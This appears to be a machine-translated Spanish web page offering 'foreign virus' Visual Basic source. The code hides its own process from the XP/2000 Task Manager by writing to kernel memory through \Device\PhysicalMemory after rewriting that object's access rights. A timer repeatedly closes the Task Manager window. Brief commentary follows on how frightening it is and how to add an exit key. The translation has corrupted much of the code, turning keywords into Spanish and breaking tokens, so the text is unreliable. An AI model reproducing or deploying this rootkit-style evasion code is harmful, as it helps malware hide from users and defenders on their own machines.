Red de conocimientos turísticos - Información de alquiler - Código fuente de virus extranjero

Código fuente de virus extranjero

Función de declaración privada FindWindow Lib "user32 "alias" FindWindowA" (ByVal lpClassName es una cadena, ByVal lpWindowName es una cadena) es Long

Función de declaración privada SendMessage Lib "user 32" alias "SendMessage a" (ByVal hwnd es Long, ByVal wMsg es Long, ByVal wParam es Long, lParam es Any) es Long

Privado subform_Load()

Opción explícita

Constante privada ESTADO _ INFO _ LENGTH _ MISMATCH = amp; HC0000004

ESTADO constante privado _ ACCESO _ DENEGADO = ampHC0000022

ESTADO constante privado _ NO VÁLIDO _ HandLE = ampHC0000008

Privado constante ERROR _ SUCCESS = 0 amp

Constante privada SECTION _ MAP _ WRITE = amp deuterio

Constante privada SECTION _ MAP _ READ = ampH4

Constante privada READ_CONTROL = ampH20000

Constante privada WRITE_DAC = ampH40000

Constante privada NO_INHERITANCE = 0

Constante privada DACL_SECURITY_INFORMATION= ampH4

Función de declaración privada SetSecurityInfo Lib " advapi 32 . dll "(ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any) es Long

Declare de forma privada el función GetSecurityInfo Lib " advapi 32 . dll "(ByVal Handle es Long, ByVal ObjectType es SE_OBJECT_TYPE, ByVal SecurityInfo es Long, ppsidOwner es Long, ppsidGroup es Long, ppDacl es Any, ppSacl es Any, ppSecurityDeor es Long)

Función de declaración privada SetEntriesInAcl Lib " advapi 32. dll "Alias" SetEntriesInAcl "(ByVal ccountoexplicientries es Long, pListOfExplicitEntries es EXPLICIT_ACCESS, ByVal OldAcl es Long, NewAcl es Long) es Long

private Declare Sub BuildExplicitAccessWithName Lib " advapi 32 . dll " Alias ​​​​ " BuildExplicitAccessWithNameA " (pExplicitAccess es EXPLICIT_ACCESS, ByVal pTrusteeNa

yo es String, ByVal AccessPermissions es Long, ByVal AccessMode es ACCESS_MODE, ByVal Inheritance es Long)

Declaración privada Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString es UNICODE_STRING, ByVal SourceString es Long)

Función de declaración privada ZwOpenSection Lib "NTDLL.DLL" (SectionHandle tiene la misma longitud, ByVal DesiredAccess tiene la misma longitud, ObjectAttributes tiene la misma longitud)

Función de declaración privada Lib local gratuita " kernel 32 " (ByVal hMem As Any) Misma longitud

Función de declaración privada CloseHandle Lib " kernel 32 "(ByVal hObject As Long)

Función de declaración privada MapViewOfFile Lib " kernel 32 "(ByVal hFileMappingObject como Long, ByVal dwDesiredAccess as Long, ByVal dwFileOffsetHigh es Long, ByVal dwFileOffsetLow es Long, ByVal dwNumberOfBytesToMap es Long)

La función de declaración privada UnmapViewOfFile Lib "kernel 32" (lpBaseAddress As Any) tiene la misma longitud

Subcopia de declaración privada Biblioteca de memoria "kernel32" alias "RtlMoveMemory" (el destino es cualquiera, la fuente es cualquiera, la longitud de ByVal es larga)

Función de declaración privada GetVersionEx Lib "kernel32 "alias" GetVersionExA "(LpVersionInformation As OS versioninfo) es Long

Tipo privado OSVERSIONINFO

dwOSVersionInfoSize As Long

dwMajorVersion tiene la misma longitud

dwMinorVersion tiene la misma longitud

dwBuildNumber es Long

dwPlatformId tiene la misma longitud

szCSDVersion que la cadena * 128

Tipo de fin

Verinfo privado como OSVERSIONINFO

G_hNtDLL privado siempre

G_pMapPhysicalMemory privado siempre

G_hMPM privado siempre

Private aByte(3) as bytes

Public Sub HideCurrentProcess()

Oculta el proceso de solicitud actual en la lista de procesos.

Los subprocesos tenues tienen la misma longitud, el proceso tiene la misma longitud, fw tiene la misma longitud y bw tiene la misma longitud

Dim lOffsetFlink es Long, lOffsetBlink es Long, lOffsetPID es Long

verinfo .dwosversioninfosize = Len(verinfo)

if(GetVersionEx(ver info)) lt; gtthen 0

si verinfo.dwPlatformId = 2, entonces

si verinfo.dwMajorVersion = 5, entonces

Seleccione Caso verinfo.dwMinorVersion

Caso 0

lOffsetFlink = ampHA0

lOffsetBlink = ampHA4

lOffsetPID = ampH9C

Caso 1

lOffsetFlink = ampH88

lOffsetBlink = ampH8C

lOffsetPID = ampH84

Finalizar selección

Terminará si...

Terminará si...

finalizará si...

Si OpenPhysicalMemory lt gt entonces 0

hilo = obtener datos(amp; HFFDFF124)

proceso = obtener datos(hilo amp; H44)

fw = obtener datos (proceso lOffsetFlink)

bw = obtener datos (proceso lOffsetBlink)

SetData fw 4, bw

Establecer ancho de banda de datos, fw

CloseHandle g_hMPM

Terminará si...

Finalizar unión

la sección de memoria física del subconjunto privado se puede escribir (por sección h de Val) As Long)

Dim pDacl es Long

Dim pNewDacl es tan largo

Dim pSD es long

Dim dwRes es tan largo

Atenuar como EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, psd

ea .grfacesspermissions = SECTION_MAP_WRITE

ea.grfAccessMode = GRANT_ACCESS

ea . grfinheritance = NO _ HERENCIA

Por forma de FIDEICOMISARIO = FIDEICOMISARIO _ ES _ NOMBRE

Por FIDEICOMISARIO. tipo = TRUSTEE _ IS _ USER

Por fideicomisario .ptstrname = " ACTUAL

_ USER " amp; vbNullChar

setentriesincl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

Limpieza:

LocalFree pSD

LocalFree pNewDacl

Conector final

La función privada OpenPhysicalMemory() es larga

Estado difuso de larga duración

Atenuar PhysmemString como UNICODE_STRING

Marcar atributo como OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory ")

property.length = length(property)

property.root = 0

property.object name = VarPtr(physmestring)

Propiedad = 0.

Propiedad.SecurityDeor = 0

Propiedad.

SecurityQualityOfService = 0

Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)

Si Estado = Estado Acceso denegado, entonces

Estado = ZwOpenSection(g_hMPM, READ_CONTROL o WRITE_DAC, atributo)

SetPhyscialMemorySectionCanBeWrited g_hMPM

CloseHandle g_hMPM

Estado = ZwOpenSection(g_hMPM, SECTION_MAP_READ o SECTION_MAP_WRITE, atributo)

Terminará si...

Dim lDirectoty tiene la misma longitud

verinfo .dwosversioninfosize = Len(verinfo)

if(GetVersionEx(ver info)) lt ; gt then 0

Si verinfo.dwPlatformId = 2, entonces

Si verinfo.dwMajorVersion = 5, entonces

Seleccione Case verinfo.dwMinorVersion

Caso 0

lDirectoty = ampH30000

Caso 1

lDirectoty = ampH39000

Finalizar selección

Terminará si...

Terminará si...

Terminará si...

Si estado = 0, entonces

g _ pmappphysicalmemory = MapViewOfFile(g _ hMPM, 4, 0, lDirectoty, ampH1000)

Si g _ pMapPhysicalMemory lt gt0 entonces abre PhysicalMemory = g_hMPM

If ... terminará

Fin de función

La función privada LinearToPhys (BaseAddress tiene la misma longitud, addr tiene la misma longitud) tiene la misma longitud

Dim VAddr tiene la misma longitud, PGDE tiene la misma longitud, PTE tiene la misma longitud, PAddr tiene la misma longitud

Dim lTemp As Long

VAddr = addr

Copiar memoria aByte(0), VAddr, 4

ltemp = fix(byteartlong (abyte)/(2 ^ 22))

PGDE = dirección base lTemp * 4

Copyright PGDE, ByVal PGDE, 4

Si (PGDE y 1) lt; entonces 0

PGDE y ampH80

Si lTemp lt gt entonces 0

PADdr = (PGDE y ampHFFC00000) (VAddr y ampH3FFFFF)

Otro

PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE y ampHFFFFF000 , y .

H1000)

lTemp = (VAddr y amph3ff 000)/(^Road 2 No. 12)

PTE = PGDE lTemp * 4

CopyMemory PTE, ByVal PTE, 4

Si (PTE y 1) lt; gt entonces 0

PADdr = (PTE y ampHFFFFF000) (VAddr y ampHFFF)

UnmapViewOfFile PGDE< / p>

Terminará si...

Terminará si...

Terminará si...

LinearToPhys = PAddr

Función final

La función privada GetData (addr tiene la misma longitud) tiene la misma longitud

Dim phys tiene la misma longitud, tmp es la misma longitud y ret tienen la misma longitud

phys = LinearToPhys( g_pmappphysicalmemory, addr)

tmp = MapViewOfFile(g_hMPM, 4, 0, phys and ampHFFFFF000, sum. H1000)

si tmp lt gt entonces 0

ret = tmp ((phys y ampHFFF) / (2 ^ 2)) * 4

Copiar memoria ret, ByVal ret, 4

UnmapViewOfFile tmp

GetData = ret

Terminará si...

Finalizar función

La función privada SetData (la dirección ByVal es larga, los datos ByVal son largos) es un valor booleano

p>

Dim phys tiene la misma longitud, tmp tiene la misma longitud y x tiene la misma longitud

phys = LinearToPhys(g _ pmappphysicalmemory, addr)

tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys y ampHFFFFF000 y .H1000)

Si tmp lt gt entonces 0

x = tmp ((phys y ampHFFF) / (2 ^ 2)) * 4

Copiar memoria ByVal x, datos, 4

UnmapViewOfFile tmp

SetData = True

Terminará si...

Función final

Función privada byteartlong(inByte()As Byte) es doble

Marque I como un número entero

Para I = 0 a 3

byteartlong = byteartlong inByte(I)*(amp;H100^I)

Siguiente yo

Finalizar función

Finalizar función

Sub-timer1_Timer privado()

HW = FindWindow ( vbnullstring, "Administrador de tareas de Windows")

Enviar mensaje hardware ampH10, 0

Enviar clave" "

I. SetFocus

El conector final

Da tanto miedo~~~Casi no puedo recuperarlo.

Si no se está ejecutando en VB, realmente no sé cómo salir.

Sería mejor si el estilo del formulario estuviera establecido en Ninguno y el estado de inicio estuviera establecido en Maximizado.

Si le preocupa no poder jubilarse, puede hacer esto:

Private Sub Form_KeyDown (KeyCode es un número entero, Shift es un número entero)

Si KeyCode = Asc("I " ), fin

Finalizar conector

Entonces puedes salir presionando la tecla "I".

Ocultar el código VB del proceso en sistema XP/2K

Atributo VB_Name = "modHideProcess "

-

Nombre del módulo: modHideProcess.bas

'

Función del módulo: Oculta el proceso actual en la lista de procesos del Administrador de tareas de XP/2K.

'

Uso: Llame a HideCurrentProcess() directamente

'

Autor del módulo: Obtenido de Internet, el autor original es desconocido .

Fecha de revisión: 26 de agosto de 2006

-